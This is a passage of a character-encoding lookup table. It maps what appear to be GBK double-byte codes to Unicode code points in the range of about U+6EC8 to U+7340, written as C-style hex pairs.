{0xe99c,0x6ec8},{0xea9c,0x6ec9},{0xeb9c,0x6eca},{0xccd7,0x6ecb},{0xec9c,0x6ecc},
{0xed9c,0x6ecd},{0xee9c,0x6ece},{0xe6e4,0x6ecf},{0xef9c,0x6ed0},{0xacbb,0x6ed1},
{0xf09c,0x6ed2},{0xd2d7,0x6ed3},{0xcfcc,0x6ed4},{0xf8eb,0x6ed5},{0xf19c,0x6ed6},
{0xe4e4,0x6ed7},{0xf29c,0x6ed8},{0xf39c,0x6ed9},{0xf6b9,0x6eda},{0xf49c,0x6edb},
{0xf59c,0x6edc},{0xf69c,0x6edd},{0xcdd6,0x6ede},{0xd9e4,0x6edf},{0xdce4,0x6ee0},
{0xfac2,0x6ee1},{0xdee4,0x6ee2},{0xf79c,0x6ee3},{0xcbc2,0x6ee4},{0xc4c0,0x6ee5},
{0xd0c2,0x6ee6},{0xf89c,0x6ee7},{0xf5b1,0x6ee8},{0xb2cc,0x6ee9},{0xf99c,0x6eea},
{0xfa9c,0x6eeb},{0xfb9c,0x6eec},{0xfc9c,0x6eed},{0xfd9c,0x6eee},{0xfe9c,0x6eef},
{0x409d,0x6ef0},{0x419d,0x6ef1},{0x429d,0x6ef2},{0x439d,0x6ef3},{0xceb5,0x6ef4},
{0x449d,0x6ef5},{0x459d,0x6ef6},{0x469d,0x6ef7},{0x479d,0x6ef8},{0xefe4,0x6ef9},
{0x489d,0x6efa},{0x499d,0x6efb},{0x4a9d,0x6efc},{0x4b9d,0x6efd},{0x4c9d,0x6efe},
{0x4e9d,0x6f00},{0x4f9d,0x6f01},{0xafc6,0x6f02},{0x509d,0x6f03},{0x519d,0x6f04},
{0x529d,0x6f05},{0xe1c6,0x6f06},{0x539d,0x6f07},{0x549d,0x6f08},{0xf5e4,0x6f09},
{0x559d,0x6f0a},{0x569d,0x6f0b},{0x579d,0x6f0c},{0x589d,0x6f0d},{0x599d,0x6f0e},
{0xa9c2,0x6f0f},{0x5a9d,0x6f10},{0x5b9d,0x6f11},{0x5c9d,0x6f12},{0xecc0,0x6f13},
{0xddd1,0x6f14},{0xeee4,0x6f15},{0x5d9d,0x6f16},{0x5e9d,0x6f17},{0x5f9d,0x6f18},
{0x609d,0x6f19},{0x619d,0x6f1a},{0x629d,0x6f1b},{0x639d,0x6f1c},{0x649d,0x6f1d},
{0x659d,0x6f1e},{0x669d,0x6f1f},{0xaec4,0x6f20},{0x679d,0x6f21},{0x689d,0x6f22},
{0x699d,0x6f23},{0xede4,0x6f24},{0x6a9d,0x6f25},{0x6b9d,0x6f26},{0x6c9d,0x6f27},
{0x6d9d,0x6f28},{0xf6e4,0x6f29},{0xf4e4,0x6f2a},{0xfec2,0x6f2b},{0x6e9d,0x6f2c},
{0xdde4,0x6f2d},{0x6f9d,0x6f2e},{0xf0e4,0x6f2f},{0x709d,0x6f30},{0xfeca,0x6f31},
{0x719d,0x6f32},{0xc4d5,0x6f33},{0x729d,0x6f34},{0x739d,0x6f35},{0xf1e4,0x6f36},
{0x749d,0x6f37},{0x759d,0x6f38},{0x769d,0x6f39},{0x779d,0x6f3a},{0x789d,0x6f3b},
{0x799d,0x6f3c},{0x7a9d,0x6f3d},{0xfad1,0x6f3e},{0x7b9d,0x6f3f},{0x7c9d,0x6f40},
{0x7d9d,0x6f41},{0x7e9d,0x6f42},{0x809d,0x6f43},{0x819d,0x6f44},{0x829d,0x6f45},
{0xebe4,0x6f46},{0xece4,0x6f47},{0x839d,0x6f48},{0x849d,0x6f49},{0x859d,0x6f4a},
{0xf2e4,0x6f4b},{0x869d,0x6f4c},{0xabce,0x6f4d},{0x879d,0x6f4e},{0x889d,0x6f4f},
{0x899d,0x6f50},{0x8a9d,0x6f51},{0x8b9d,0x6f52},{0x8c9d,0x6f53},{0x8d9d,0x6f54},
{0x8e9d,0x6f55},{0x8f9d,0x6f56},{0x909d,0x6f57},{0xcbc5,0x6f58},{0x919d,0x6f59},
{0x929d,0x6f5a},{0x939d,0x6f5b},{0xb1c7,0x6f5c},{0x949d,0x6f5d},{0xbac2,0x6f5e},
{0x959d,0x6f5f},{0x969d,0x6f60},{0x979d,0x6f61},{0xeae4,0x6f62},{0x989d,0x6f63},
{0x999d,0x6f64},{0x9a9d,0x6f65},{0xcac1,0x6f66},{0x9b9d,0x6f67},{0x9c9d,0x6f68},
{0x9d9d,0x6f69},{0x9e9d,0x6f6a},{0x9f9d,0x6f6b},{0xa09d,0x6f6c},{0xb6cc,0x6f6d},
{0xb1b3,0x6f6e},{0xa19d,0x6f6f},{0xa29d,0x6f70},{0xa39d,0x6f71},{0xfbe4,0x6f72},
{0xa49d,0x6f73},{0xf3e4,0x6f74},{0xa59d,0x6f75},{0xa69d,0x6f76},{0xa79d,0x6f77},
{0xfae4,0x6f78},{0xa89d,0x6f79},{0xfde4,0x6f7a},{0xa99d,0x6f7b},{0xfce4,0x6f7c},
{0xaa9d,0x6f7d},{0xab9d,0x6f7e},{0xac9d,0x6f7f},{0xad9d,0x6f80},{0xae9d,0x6f81},
{0xaf9d,0x6f82},{0xb09d,0x6f83},{0xceb3,0x6f84},{0xb19d,0x6f85},{0xb29d,0x6f86},
{0xb39d,0x6f87},{0xbab3,0x6f88},{0xf7e4,0x6f89},{0xb49d,0x6f8a},{0xb59d,0x6f8b},
{0xf9e4,0x6f8c},{0xf8e4,0x6f8d},{0xecc5,0x6f8e},{0xb69d,0x6f8f},{0xb79d,0x6f90},
{0xb89d,0x6f91},{0xb99d,0x6f92},{0xba9d,0x6f93},{0xbb9d,0x6f94},{0xbc9d,0x6f95},
{0xbd9d,0x6f96},{0xbe9d,0x6f97},{0xbf9d,0x6f98},{0xc09d,0x6f99},{0xc19d,0x6f9a},
{0xc29d,0x6f9b},{0xbdc0,0x6f9c},{0xc39d,0x6f9d},{0xc49d,0x6f9e},{0xc59d,0x6f9f},
{0xc69d,0x6fa0},{0xe8d4,0x6fa1},{0xc79d,0x6fa2},{0xc89d,0x6fa3},{0xc99d,0x6fa4},
{0xca9d,0x6fa5},{0xcb9d,0x6fa6},{0xa2e5,0x6fa7},{0xcc9d,0x6fa8},{0xcd9d,0x6fa9},
{0xce9d,0x6faa},{0xcf9d,0x6fab},{0xd09d,0x6fac},{0xd19d,0x6fad},{0xd29d,0x6fae},
{0xd39d,0x6faf},{0xd49d,0x6fb0},{0xd59d,0x6fb1},{0xd69d,0x6fb2},{0xc4b0,0x6fb3},
{0xd79d,0x6fb4},{0xd89d,0x6fb5},{0xa4e5,0x6fb6},{0xd99d,0x6fb7},{0xda9d,0x6fb8},
{0xa3e5,0x6fb9},{0xdb9d,0x6fba},{0xdc9d,0x6fbb},{0xdd9d,0x6fbc},{0xde9d,0x6fbd},
{0xdf9d,0x6fbe},{0xe09d,0x6fbf},{0xa4bc,0x6fc0},{0xe19d,0x6fc1},{0xa5e5,0x6fc2},
{0xe29d,0x6fc3},{0xe39d,0x6fc4},{0xe49d,0x6fc5},{0xe59d,0x6fc6},{0xe69d,0x6fc7},
{0xe79d,0x6fc8},{0xa1e5,0x6fc9},{0xe89d,0x6fca},{0xe99d,0x6fcb},{0xea9d,0x6fcc},
{0xeb9d,0x6fcd},{0xec9d,0x6fce},{0xed9d,0x6fcf},{0xee9d,0x6fd0},{0xfee4,0x6fd1},
{0xf4b1,0x6fd2},{0xef9d,0x6fd3},{0xf09d,0x6fd4},{0xf19d,0x6fd5},{0xf29d,0x6fd6},
{0xf39d,0x6fd7},{0xf49d,0x6fd8},{0xf59d,0x6fd9},{0xf69d,0x6fda},{0xf79d,0x6fdb},
{0xf89d,0x6fdc},{0xf99d,0x6fdd},{0xa8e5,0x6fde},{0xfa9d,0x6fdf},{0xa9e5,0x6fe0},
{0xa6e5,0x6fe1},{0xfb9d,0x6fe2},{0xfc9d,0x6fe3},{0xfd9d,0x6fe4},{0xfe9d,0x6fe5},
{0x409e,0x6fe6},{0x419e,0x6fe7},{0x429e,0x6fe8},{0x439e,0x6fe9},{0x449e,0x6fea},
{0x459e,0x6feb},{0x469e,0x6fec},{0x479e,0x6fed},{0xa7e5,0x6fee},{0xaae5,0x6fef},
{0x489e,0x6ff0},{0x499e,0x6ff1},{0x4a9e,0x6ff2},{0x4b9e,0x6ff3},{0x4c9e,0x6ff4},
{0x4d9e,0x6ff5},{0x4e9e,0x6ff6},{0x4f9e,0x6ff7},{0x509e,0x6ff8},{0x519e,0x6ff9},
{0x529e,0x6ffa},{0x539e,0x6ffb},{0x549e,0x6ffc},{0x559e,0x6ffd},{0x569e,0x6ffe},
{0x589e,0x7000},{0x599e,0x7001},{0x5a9e,0x7002},{0x5b9e,0x7003},{0x5c9e,0x7004},
{0x5d9e,0x7005},{0x5e9e,0x7006},{0x5f9e,0x7007},{0x609e,0x7008},{0x619e,0x7009},
{0x629e,0x700a},{0x639e,0x700b},{0x649e,0x700c},{0x659e,0x700d},{0x669e,0x700e},
{0x679e,0x700f},{0x689e,0x7010},{0xd9c6,0x7011},{0x699e,0x7012},{0x6a9e,0x7013},
{0x6b9e,0x7014},{0x6c9e,0x7015},{0x6d9e,0x7016},{0x6e9e,0x7017},{0x6f9e,0x7018},
{0x709e,0x7019},{0xabe5,0x701a},{0xade5,0x701b},{0x719e,0x701c},{0x729e,0x701d},
{0x739e,0x701e},{0x749e,0x701f},{0x759e,0x7020},{0x769e,0x7021},{0x779e,0x7022},
{0xace5,0x7023},{0x789e,0x7024},{0x799e,0x7025},{0x7a9e,0x7026},{0x7b9e,0x7027},
{0x7c9e,0x7028},{0x7d9e,0x7029},{0x7e9e,0x702a},{0x809e,0x702b},{0x819e,0x702c},
{0x829e,0x702d},{0x839e,0x702e},{0x849e,0x702f},{0x859e,0x7030},{0x869e,0x7031},
{0x879e,0x7032},{0x889e,0x7033},{0x899e,0x7034},{0xafe5,0x7035},{0x8a9e,0x7036},
{0x8b9e,0x7037},{0x8c9e,0x7038},{0xaee5,0x7039},{0x8d9e,0x703a},{0x8e9e,0x703b},
{0x8f9e,0x703c},{0x909e,0x703d},{0x919e,0x703e},{0x929e,0x703f},{0x939e,0x7040},
{0x949e,0x7041},{0x959e,0x7042},{0x969e,0x7043},{0x979e,0x7044},{0x989e,0x7045},
{0x999e,0x7046},{0x9a9e,0x7047},{0x9b9e,0x7048},{0x9c9e,0x7049},{0x9d9e,0x704a},
{0x9e9e,0x704b},{0xe0b9,0x704c},{0x9f9e,0x704d},{0xa09e,0x704e},{0xb0e5,0x704f},
{0xa19e,0x7050},{0xa29e,0x7051},{0xa39e,0x7052},{0xa49e,0x7053},{0xa59e,0x7054},
{0xa69e,0x7055},{0xa79e,0x7056},{0xa89e,0x7057},{0xa99e,0x7058},{0xaa9e,0x7059},
{0xab9e,0x705a},{0xac9e,0x705b},{0xad9e,0x705c},{0xae9e,0x705d},{0xb1e5,0x705e},
{0xaf9e,0x705f},{0xb09e,0x7060},{0xb19e,0x7061},{0xb29e,0x7062},{0xb39e,0x7063},
{0xb49e,0x7064},{0xb59e,0x7065},{0xb69e,0x7066},{0xb79e,0x7067},{0xb89e,0x7068},
{0xb99e,0x7069},{0xba9e,0x706a},{0xf0bb,0x706b},{0xe1ec,0x706c},{0xf0c3,0x706d},
{0xbb9e,0x706e},{0xc6b5,0x706f},{0xd2bb,0x7070},{0xbc9e,0x7071},{0xbd9e,0x7072},
{0xbe9e,0x7073},{0xbf9e,0x7074},{0xe9c1,0x7075},{0xeed4,0x7076},{0xc09e,0x7077},
{0xc4be,0x7078},{0xc19e,0x7079},{0xc29e,0x707a},{0xc39e,0x707b},{0xc6d7,0x707c},
{0xc49e,0x707d},{0xd6d4,0x707e},{0xd3b2,0x707f},{0xbeec,0x7080},{0xc59e,0x7081},
{0xc69e,0x7082},{0xc79e,0x7083},{0xc89e,0x7084},{0xc1ea,0x7085},{0xc99e,0x7086},
{0xca9e,0x7087},{0xcb9e,0x7088},{0xafc2,0x7089},{0xb6b4,0x708a},{0xcc9e,0x708b},
{0xcd9e,0x708c},{0xce9e,0x708d},{0xd7d1,0x708e},{0xcf9e,0x708f},{0xd09e,0x7090},
{0xd19e,0x7091},{0xb4b3,0x7092},{0xd29e,0x7093},{0xb2c8,0x7094},{0xbbbf,0x7095},
{0xc0ec,0x7096},{0xd39e,0x7097},{0xd49e,0x7098},{0xcbd6,0x7099},{0xd59e,0x709a},
{0xd69e,0x709b},{0xbfec,0x709c},{0xc1ec,0x709d},{0xd79e,0x709e},{0xd89e,0x709f},
{0xd99e,0x70a0},{0xda9e,0x70a1},{0xdb9e,0x70a2},{0xdc9e,0x70a3},{0xdd9e,0x70a4},
{0xde9e,0x70a5},{0xdf9e,0x70a6},{0xe09e,0x70a7},{0xe19e,0x70a8},{0xe29e,0x70a9},
{0xe39e,0x70aa},{0xc5ec,0x70ab},{0xe6be,0x70ac},{0xbfcc,0x70ad},{0xdac5,0x70ae},
{0xbcbe,0x70af},{0xe49e,0x70b0},{0xc6ec,0x70b1},{0xe59e,0x70b2},{0xfeb1,0x70b3},
{0xe69e,0x70b4},{0xe79e,0x70b5},{0xe89e,0x70b6},{0xc4ec,0x70b7},{0xa8d5,0x70b8},
{0xe3b5,0x70b9},{0xe99e,0x70ba},{0xc2ec,0x70bb},{0xb6c1,0x70bc},{0xe3b3,0x70bd},
{0xea9e,0x70be},{0xeb9e,0x70bf},{0xc3ec,0x70c0},{0xb8cb,0x70c1},{0xc3c0,0x70c2},
{0xfecc,0x70c3},{0xec9e,0x70c4},{0xed9e,0x70c5},{0xee9e,0x70c6},{0xef9e,0x70c7},
{0xd2c1,0x70c8},{0xf09e,0x70c9},{0xc8ec,0x70ca},{0xf19e,0x70cb},{0xf29e,0x70cc},
{0xf39e,0x70cd},{0xf49e,0x70ce},{0xf59e,0x70cf},{0xf69e,0x70d0},{0xf79e,0x70d1},
{0xf89e,0x70d2},{0xf99e,0x70d3},{0xfa9e,0x70d4},{0xfb9e,0x70d5},{0xfc9e,0x70d6},
{0xfd9e,0x70d7},{0xe6ba,0x70d8},{0xd3c0,0x70d9},{0xfe9e,0x70da},{0xf2d6,0x70db},
{0x409f,0x70dc},{0x419f,0x70dd},{0x429f,0x70de},{0xccd1,0x70df},{0x439f,0x70e0},
{0x449f,0x70e1},{0x459f,0x70e2},{0x469f,0x70e3},{0xbebf,0x70e4},{0x479f,0x70e5},
{0xb3b7,0x70e6},{0xd5c9,0x70e7},{0xc7ec,0x70e8},{0xe2bb,0x70e9},{0x489f,0x70ea},
{0xcccc,0x70eb},{0xfdbd,0x70ec},{0xc8c8,0x70ed},{0x499f,0x70ee},{0xa9cf,0x70ef},
{0x4a9f,0x70f0},{0x4b9f,0x70f1},{0x4c9f,0x70f2},{0x4d9f,0x70f3},{0x4e9f,0x70f4},
{0x4f9f,0x70f5},{0x509f,0x70f6},{0xe9cd,0x70f7},{0x519f,0x70f8},{0xebc5,0x70f9},
{0x529f,0x70fa},{0x539f,0x70fb},{0x549f,0x70fc},{0xe9b7,0x70fd},{0x559f,0x70fe},
{0x579f,0x7100},{0x589f,0x7101},{0x599f,0x7102},{0x5a9f,0x7103},{0x5b9f,0x7104},
{0x5c9f,0x7105},{0x5d9f,0x7106},{0x5e9f,0x7107},{0x5f9f,0x7108},{0xc9d1,0x7109},
{0xb8ba,0x710a},{0x609f,0x710b},{0x619f,0x710c},{0x629f,0x710d},{0x639f,0x710e},
{0x649f,0x710f},{0xc9ec,0x7110},{0x659f,0x7111},{0x669f,0x7112},{0xcaec,0x7113},
{0x679f,0x7114},{0xc0bb,0x7115},{0xcbec,0x7116},{0x689f,0x7117},{0xe2ec,0x7118},
{0xbab1,0x7119},{0xd9b7,0x711a},{0x699f,0x711b},{0x6a9f,0x711c},{0x6b9f,0x711d},
{0x6c9f,0x711e},{0x6d9f,0x711f},{0x6e9f,0x7120},{0x6f9f,0x7121},{0x709f,0x7122},
{0x719f,0x7123},{0x729f,0x7124},{0x739f,0x7125},{0xb9bd,0x7126},{0x749f,0x7127},
{0x759f,0x7128},{0x769f,0x7129},{0x779f,0x712a},{0x789f,0x712b},{0x799f,0x712c},
{0x7a9f,0x712d},{0x7b9f,0x712e},{0xccec,0x712f},{0xe6d1,0x7130},{0xcdec,0x7131},
{0x7c9f,0x7132},{0x7d9f,0x7133},{0x7e9f,0x7134},{0x809f,0x7135},{0xbbc8,0x7136},
{0x819f,0x7137},{0x829f,0x7138},{0x839f,0x7139},{0x849f,0x713a},{0x859f,0x713b},
{0x869f,0x713c},{0x879f,0x713d},{0x889f,0x713e},{0x899f,0x713f},{0x8a9f,0x7140},
{0x8b9f,0x7141},{0x8c9f,0x7142},{0x8d9f,0x7143},{0x8e9f,0x7144},{0xd1ec,0x7145},
{0x8f9f,0x7146},{0x909f,0x7147},{0x919f,0x7148},{0x929f,0x7149},{0xd3ec,0x714a},
{0x939f,0x714b},{0xcdbb,0x714c},{0x949f,0x714d},{0xe5bc,0x714e},{0x959f,0x714f},
{0x969f,0x7150},{0x979f,0x7151},{0x989f,0x7152},{0x999f,0x7153},{0x9a9f,0x7154},
{0x9b9f,0x7155},{0x9c9f,0x7156},{0x9d9f,0x7157},{0x9e9f,0x7158},{0x9f9f,0x7159},
{0xa09f,0x715a},{0xa19f,0x715b},{0xcfec,0x715c},{0xa29f,0x715d},{0xb7c9,0x715e},
{0xa39f,0x715f},{0xa49f,0x7160},{0xa59f,0x7161},{0xa69f,0x7162},{0xa79f,0x7163},
{0xbac3,0x7164},{0xa89f,0x7165},{0xe3ec,0x7166},{0xd5d5,0x7167},{0xd0ec,0x7168},
{0xa99f,0x7169},{0xaa9f,0x716a},{0xab9f,0x716b},{0xac9f,0x716c},{0xad9f,0x716d},
{0xf3d6,0x716e},{0xae9f,0x716f},{0xaf9f,0x7170},{0xb09f,0x7171},{0xd2ec,0x7172},
{0xceec,0x7173},{0xb19f,0x7174},{0xb29f,0x7175},{0xb39f,0x7176},{0xb49f,0x7177},
{0xd4ec,0x7178},{0xb59f,0x7179},{0xd5ec,0x717a},{0xb69f,0x717b},{0xb79f,0x717c},
{0xbfc9,0x717d},{0xb89f,0x717e},{0xb99f,0x717f},{0xba9f,0x7180},{0xbb9f,0x7181},
{0xbc9f,0x7182},{0xbd9f,0x7183},{0xa8cf,0x7184},{0xbe9f,0x7185},{0xbf9f,0x7186},
{0xc09f,0x7187},{0xc19f,0x7188},{0xc29f,0x7189},{0xdcd0,0x718a},{0xc39f,0x718b},
{0xc49f,0x718c},{0xc59f,0x718d},{0xc69f,0x718e},{0xacd1,0x718f},{0xc79f,0x7190},
{0xc89f,0x7191},{0xc99f,0x7192},{0xca9f,0x7193},{0xdbc8,0x7194},{0xcb9f,0x7195},
{0xcc9f,0x7196},{0xcd9f,0x7197},{0xd6ec,0x7198},{0xf5ce,0x7199},{0xce9f,0x719a},
{0xcf9f,0x719b},{0xd09f,0x719c},{0xd19f,0x719d},{0xd29f,0x719e},{0xecca,0x719f},
{0xdaec,0x71a0},{0xd39f,0x71a1},{0xd49f,0x71a2},{0xd59f,0x71a3},{0xd69f,0x71a4},
{0xd79f,0x71a5},{0xd89f,0x71a6},{0xd99f,0x71a7},{0xd9ec,0x71a8},{0xda9f,0x71a9},
{0xdb9f,0x71aa},{0xdc9f,0x71ab},{0xbeb0,0x71ac},{0xdd9f,0x71ad},{0xde9f,0x71ae},
{0xdf9f,0x71af},{0xe09f,0x71b0},{0xe19f,0x71b1},{0xe29f,0x71b2},{0xd7ec,0x71b3},
{0xe39f,0x71b4},{0xd8ec,0x71b5},{0xe49f,0x71b6},{0xe59f,0x71b7},{0xe69f,0x71b8},
{0xe4ec,0x71b9},{0xe79f,0x71ba},{0xe89f,0x71bb},{0xe99f,0x71bc},{0xea9f,0x71bd},
{0xeb9f,0x71be},{0xec9f,0x71bf},{0xed9f,0x71c0},{0xee9f,0x71c1},{0xef9f,0x71c2},
{0xbcc8,0x71c3},{0xf09f,0x71c4},{0xf19f,0x71c5},{0xf29f,0x71c6},{0xf39f,0x71c7},
{0xf49f,0x71c8},{0xf59f,0x71c9},{0xf69f,0x71ca},{0xf79f,0x71cb},{0xf89f,0x71cc},
{0xf99f,0x71cd},{0xc7c1,0x71ce},{0xfa9f,0x71cf},{0xfb9f,0x71d0},{0xfc9f,0x71d1},
{0xfd9f,0x71d2},{0xfe9f,0x71d3},{0xdcec,0x71d4},{0xe0d1,0x71d5},{0x40a0,0x71d6},
{0x41a0,0x71d7},{0x42a0,0x71d8},{0x43a0,0x71d9},{0x44a0,0x71da},{0x45a0,0x71db},
{0x46a0,0x71dc},{0x47a0,0x71dd},{0x48a0,0x71de},{0x49a0,0x71df},{0xdbec,0x71e0},
{0x4aa0,0x71e1},{0x4ba0,0x71e2},{0x4ca0,0x71e3},{0x4da0,0x71e4},{0xefd4,0x71e5},
{0x4ea0,0x71e6},{0xddec,0x71e7},{0x4fa0,0x71e8},{0x50a0,0x71e9},{0x51a0,0x71ea},
{0x52a0,0x71eb},{0x53a0,0x71ec},{0x54a0,0x71ed},{0xc6db,0x71ee},{0x55a0,0x71ef},
{0x56a0,0x71f0},{0x57a0,0x71f1},{0x58a0,0x71f2},{0x59a0,0x71f3},{0x5aa0,0x71f4},
{0x5ba0,0x71f5},{0x5ca0,0x71f6},{0x5da0,0x71f7},{0x5ea0,0x71f8},{0xdeec,0x71f9},
{0x5fa0,0x71fa},{0x60a0,0x71fb},{0x61a0,0x71fc},{0x62a0,0x71fd},{0x63a0,0x71fe},
{0x65a0,0x7200},{0x66a0,0x7201},{0x67a0,0x7202},{0x68a0,0x7203},{0x69a0,0x7204},
{0x6aa0,0x7205},{0xacb1,0x7206},{0x6ba0,0x7207},{0x6ca0,0x7208},{0x6da0,0x7209},
{0x6ea0,0x720a},{0x6fa0,0x720b},{0x70a0,0x720c},{0x71a0,0x720d},{0x72a0,0x720e},
{0x73a0,0x720f},{0x74a0,0x7210},{0x75a0,0x7211},{0x76a0,0x7212},{0x77a0,0x7213},
{0x78a0,0x7214},{0x79a0,0x7215},{0x7aa0,0x7216},{0x7ba0,0x7217},{0x7ca0,0x7218},
{0x7da0,0x7219},{0x7ea0,0x721a},{0x80a0,0x721b},{0x81a0,0x721c},{0xdfec,0x721d},
{0x82a0,0x721e},{0x83a0,0x721f},{0x84a0,0x7220},{0x85a0,0x7221},{0x86a0,0x7222},
{0x87a0,0x7223},{0x88a0,0x7224},{0x89a0,0x7225},{0x8aa0,0x7226},{0x8ba0,0x7227},
{0xe0ec,0x7228},{0x8ca0,0x7229},{0xa6d7,0x722a},{0x8da0,0x722b},{0xc0c5,0x722c},
{0x8ea0,0x722d},{0x8fa0,0x722e},{0x90a0,0x722f},{0xbceb,0x7230},{0xaeb0,0x7231},
{0x91a0,0x7232},{0x92a0,0x7233},{0x93a0,0x7234},{0xf4be,0x7235},{0xb8b8,0x7236},
{0xafd2,0x7237},{0xd6b0,0x7238},{0xf9b5,0x7239},{0x94a0,0x723a},{0xb3d8,0x723b},
{0x95a0,0x723c},{0xaccb,0x723d},{0x96a0,0x723e},{0xdde3,0x723f},{0x97a0,0x7240},
{0x98a0,0x7241},{0x99a0,0x7242},{0x9aa0,0x7243},{0x9ba0,0x7244},{0x9ca0,0x7245},
{0x9da0,0x7246},{0xacc6,0x7247},{0xe6b0,0x7248},{0x9ea0,0x7249},{0x9fa0,0x724a},
{0xa0a0,0x724b},{0xc6c5,0x724c},{0xb9eb,0x724d},{0xa1a0,0x724e},{0xa2a0,0x724f},
{0xa3a0,0x7250},{0xa4a0,0x7251},{0xbaeb,0x7252},{0xa5a0,0x7253},{0xa6a0,0x7254},
{0xa7a0,0x7255},{0xbbeb,0x7256},{0xa8a0,0x7257},{0xa9a0,0x7258},{0xc0d1,0x7259},
{0xaaa0,0x725a},{0xa3c5,0x725b},{0xaba0,0x725c},{0xf2ea,0x725d},{0xaca0,0x725e},
{0xb2c4,0x725f},{0xada0,0x7260},{0xb5c4,0x7261},{0xcec0,0x7262},{0xaea0,0x7263},
{0xafa0,0x7264},{0xb0a0,0x7265},{0xf3ea,0x7266},{0xc1c4,0x7267},{0xb1a0,0x7268},
{0xefce,0x7269},{0xb2a0,0x726a},{0xb3a0,0x726b},{0xb4a0,0x726c},{0xb5a0,0x726d},
{0xf0ea,0x726e},{0xf4ea,0x726f},{0xb6a0,0x7270},{0xb7a0,0x7271},{0xfcc9,0x7272},
{0xb8a0,0x7273},{0xb9a0,0x7274},{0xa3c7,0x7275},{0xbaa0,0x7276},{0xbba0,0x7277},
{0xbca0,0x7278},{0xd8cc,0x7279},{0xfece,0x727a},{0xbda0,0x727b},{0xbea0,0x727c},
{0xbfa0,0x727d},{0xf5ea,0x727e},{0xf6ea,0x727f},{0xaccf,0x7280},{0xe7c0,0x7281},
{0xc0a0,0x7282},{0xc1a0,0x7283},{0xf7ea,0x7284},{0xc2a0,0x7285},{0xc3a0,0x7286},
{0xc4a0,0x7287},{0xc5a0,0x7288},{0xc6a0,0x7289},{0xbfb6,0x728a},{0xf8ea,0x728b},
{0xc7a0,0x728c},{0xf9ea,0x728d},{0xc8a0,0x728e},{0xfaea,0x728f},{0xc9a0,0x7290},
{0xcaa0,0x7291},{0xfbea,0x7292},{0xcba0,0x7293},{0xcca0,0x7294},{0xcda0,0x7295},
{0xcea0,0x7296},{0xcfa0,0x7297},{0xd0a0,0x7298},{0xd1a0,0x7299},{0xd2a0,0x729a},
{0xd3a0,0x729b},{0xd4a0,0x729c},{0xd5a0,0x729d},{0xd6a0,0x729e},{0xf1ea,0x729f},
{0xd7a0,0x72a0},{0xd8a0,0x72a1},{0xd9a0,0x72a2},{0xdaa0,0x72a3},{0xdba0,0x72a4},
{0xdca0,0x72a5},{0xdda0,0x72a6},{0xdea0,0x72a7},{0xdfa0,0x72a8},{0xe0a0,0x72a9},
{0xe1a0,0x72aa},{0xe2a0,0x72ab},{0xaec8,0x72ac},{0xebe1,0x72ad},{0xe3a0,0x72ae},
{0xb8b7,0x72af},{0xece1,0x72b0},{0xe4a0,0x72b1},{0xe5a0,0x72b2},{0xe6a0,0x72b3},
{0xede1,0x72b4},{0xe7a0,0x72b5},{0xb4d7,0x72b6},{0xeee1,0x72b7},{0xefe1,0x72b8},
{0xccd3,0x72b9},{0xe8a0,0x72ba},{0xe9a0,0x72bb},{0xeaa0,0x72bc},{0xeba0,0x72bd},
{0xeca0,0x72be},{0xeda0,0x72bf},{0xeea0,0x72c0},{0xf1e1,0x72c1},{0xf1bf,0x72c2},
{0xf0e1,0x72c3},{0xd2b5,0x72c4},{0xefa0,0x72c5},{0xf0a0,0x72c6},{0xf1a0,0x72c7},
{0xb7b1,0x72c8},{0xf2a0,0x72c9},{0xf3a0,0x72ca},{0xf4a0,0x72cb},{0xf5a0,0x72cc},
{0xf3e1,0x72cd},{0xf2e1,0x72ce},{0xf6a0,0x72cf},{0xfcba,0x72d0},{0xf7a0,0x72d1},
{0xf4e1,0x72d2},{0xf8a0,0x72d3},{0xf9a0,0x72d4},{0xfaa0,0x72d5},{0xfba0,0x72d6},
{0xb7b9,0x72d7},{0xfca0,0x72d8},{0xd1be,0x72d9},{0xfda0,0x72da},{0xfea0,0x72db},
{0x40aa,0x72dc},{0x41aa,0x72dd},{0xfcc4,0x72de},{0x42aa,0x72df},{0xddba,0x72e0},
{0xc6bd,0x72e1},{0x43aa,0x72e2},{0x44aa,0x72e3},{0x45aa,0x72e4},{0x46aa,0x72e5},
{0x47aa,0x72e6},{0x48aa,0x72e7},{0xf5e1,0x72e8},{0xf7e1,0x72e9},{0x49aa,0x72ea},
{0x4aaa,0x72eb},{0xc0b6,0x72ec},{0xc1cf,0x72ed},{0xa8ca,0x72ee},{0xf6e1,0x72ef},
{0xf8d5,0x72f0},{0xfcd3,0x72f1},{0xf8e1,0x72f2},{0xfce1,0x72f3},{0xf9e1,0x72f4},
{0x4baa,0x72f5},{0x4caa,0x72f6},{0xfae1,0x72f7},{0xeac0,0x72f8},{0x4daa,0x72f9},
{0xfee1,0x72fa},{0xa1e2,0x72fb},{0xc7c0,0x72fc},{0x4eaa,0x72fd},{0x4faa,0x72fe},
{0x51aa,0x7300},{0xfbe1,0x7301},{0x52aa,0x7302},{0xfde1,0x7303},{0x53aa,0x7304},
{0x54aa,0x7305},{0x55aa,0x7306},{0x56aa,0x7307},{0x57aa,0x7308},{0x58aa,0x7309},
{0xa5e2,0x730a},{0x59aa,0x730b},{0x5aaa,0x730c},{0x5baa,0x730d},{0xd4c1,0x730e},
{0x5caa,0x730f},{0x5daa,0x7310},{0x5eaa,0x7311},{0x5faa,0x7312},{0xa3e2,0x7313},
{0x60aa,0x7314},{0xa8e2,0x7315},{0xfeb2,0x7316},{0xa2e2,0x7317},{0x61aa,0x7318},
{0x62aa,0x7319},{0x63aa,0x731a},{0xcdc3,0x731b},{0xc2b2,0x731c},{0xa7e2,0x731d},
{0xa6e2,0x731e},{0x64aa,0x731f},{0x65aa,0x7320},{0xa4e2,0x7321},{0xa9e2,0x7322},
{0x66aa,0x7323},{0x67aa,0x7324},{0xabe2,0x7325},{0x68aa,0x7326},{0x69aa,0x7327},
{0x6aaa,0x7328},{0xc9d0,0x7329},{0xedd6,0x732a},{0xa8c3,0x732b},{0xace2,0x732c},
{0x6baa,0x732d},{0xd7cf,0x732e},{0x6caa,0x732f},{0x6daa,0x7330},{0xaee2,0x7331},
{0x6eaa,0x7332},{0x6faa,0x7333},{0xefba,0x7334},{0x70aa,0x7335},{0x71aa,0x7336},
{0xe0e9,0x7337},{0xade2,0x7338},{0xaae2,0x7339},{0x72aa,0x733a},{0x73aa,0x733b},
{0x74aa,0x733c},{0x75aa,0x733d},{0xabbb,0x733e},{0xb3d4,0x733f},{0x76aa,0x7340},
